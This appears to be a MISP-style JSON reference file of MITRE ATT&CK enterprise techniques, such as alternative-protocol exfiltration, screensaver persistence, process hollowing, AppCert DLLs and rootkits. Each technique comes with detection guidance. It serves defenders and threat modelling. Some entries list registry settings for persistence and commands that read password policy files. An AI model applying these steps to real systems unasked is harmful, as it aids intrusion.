{
  "authors": [
    "MITRE"
  ],
  "category": "attack-pattern",
  "description": "ATT&CK tactic",
  "name": "Enterprise Attack - Attack Pattern",
  "source": "https://github.com/mitre/cti",
  "type": "mitre-enterprise-attack-attack-pattern",
  "uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640",
  "values": [
    {
      "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1048",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "User interface",
          "Process monitoring",
          "Process use of network",
          "Packet capture",
          "Netflow/Enclave netflow",
          "Network protocol analysis"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1048",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
      "value": "Exfiltration Over Alternative Protocol - T1048"
    },
    {
      "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1071",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Malware reverse engineering",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1071",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
      "value": "Standard Application Layer Protocol - T1071"
    },
    {
      "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
      "meta": {
        "external_id": "T1092",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Data loss prevention"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1092"
        ]
      },
      "uuid": "64196062-5210-42c3-9a02-563a0d1797ef",
      "value": "Communication Through Removable Media - T1092"
    },
    {
      "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nCommon information repositories:\n\n===Microsoft SharePoint===\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n===Atlassian Confluence===\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.\n\nDetection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs\n\nPermissions Required: User\n\nContributors: Milos Stojadinovic",
      "meta": {
        "external_id": "T1213",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "Application Logs",
          "Authentication logs",
          "Data loss prevention",
          "Third-party application logs"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1213",
          "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
          "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
        ]
      },
      "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
      "value": "Data from Information Repositories - T1213"
    },
    {
      "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\\Windows\\System32\\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n*<code>SCRNSAVE.exe</code> - set to malicious PE path\n*<code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n*<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n*<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
      "meta": {
        "external_id": "T1180",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Process command-line parameters",
          "Windows Registry",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1180",
          "https://en.wikipedia.org/wiki/Screensaver",
          "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
        ]
      },
      "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
      "value": "Screensaver - T1180"
    },
    {
      "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n===Windows===\n* <code>net accounts</code>\n* <code>net accounts /domain</code>\n\n===Linux===\n* <code>chage -l <username></code>\n* <code>cat /etc/pam.d/common-password</code>\n\n===macOS===\n* <code>pwpolicy getaccountpolicies</code>\n\nDetection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
      "meta": {
        "external_id": "T1201",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1201",
          "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
          "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
        ]
      },
      "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
      "value": "Password Policy Discovery - T1201"
    },
    {
      "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1094",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1094",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00",
      "value": "Custom Command and Control Protocol - T1094"
    },
    {
      "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1044",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Services"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1044",
          "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
          "http://seclists.org/fulldisclosure/2015/Dec/34"
        ]
      },
      "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a",
      "value": "File System Permissions Weakness - T1044"
    },
    {
      "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1093",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1093",
          "http://www.autosectools.com/process-hollowing.pdf",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
        ]
      },
      "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21",
      "value": "Process Hollowing - T1093"
    },
    {
      "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1064",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "File monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1064",
          "http://www.metasploit.com",
          "https://www.veil-framework.com/framework/",
          "https://github.com/mattifestation/PowerSploit",
          "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
          "https://www.uperesia.com/analyzing-malicious-office-documents"
        ]
      },
      "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44",
      "value": "Scripting - T1064"
    },
    {
      "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1155",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "System calls",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1155",
          "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
        ]
      },
      "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b",
      "value": "AppleScript - T1155"
    },
    {
      "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
      "meta": {
        "external_id": "T1025",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1025"
        ]
      },
      "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
      "value": "Data from Removable Media - T1025"
    },
    {
      "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
      "meta": {
        "external_id": "T1116",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Binary file metadata"
        ],
        "mitre_platforms": [
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1116",
          "https://en.wikipedia.org/wiki/Code%20signing",
          "http://www.thesafemac.com/new-signed-malware-called-janicab/",
          "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
          "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
        ]
      },
      "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d",
      "value": "Code Signing - T1116"
    },
    {
      "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1182",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Loaded DLLs",
          "Process Monitoring",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1182",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
        ]
      },
      "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025",
      "value": "AppCert DLLs - T1182"
    },
    {
      "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root",
      "meta": {
        "external_id": "T1014",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "BIOS",
          "MBR",
          "System calls"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1014",
          "https://en.wikipedia.org/wiki/Rootkit",
          "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
          "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
          "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
        ]
      },
      "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
      "value": "Rootkit - T1014"
    },
    {
      "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1162",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1162",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
        ]
      },
      "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9",
      "value": "Login Item - T1162"
    },
    {
      "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
      "meta": {
        "external_id": "T1059",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1059",
          "https://en.wikipedia.org/wiki/Command-line%20interface"
        ]
      },
      "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
      "value": "Command-Line Interface - T1059"
    },
    {
      "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1041",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "User interface",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1041",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
      "value": "Exfiltration Over Command and Control Channel - T1041"
    },
    {
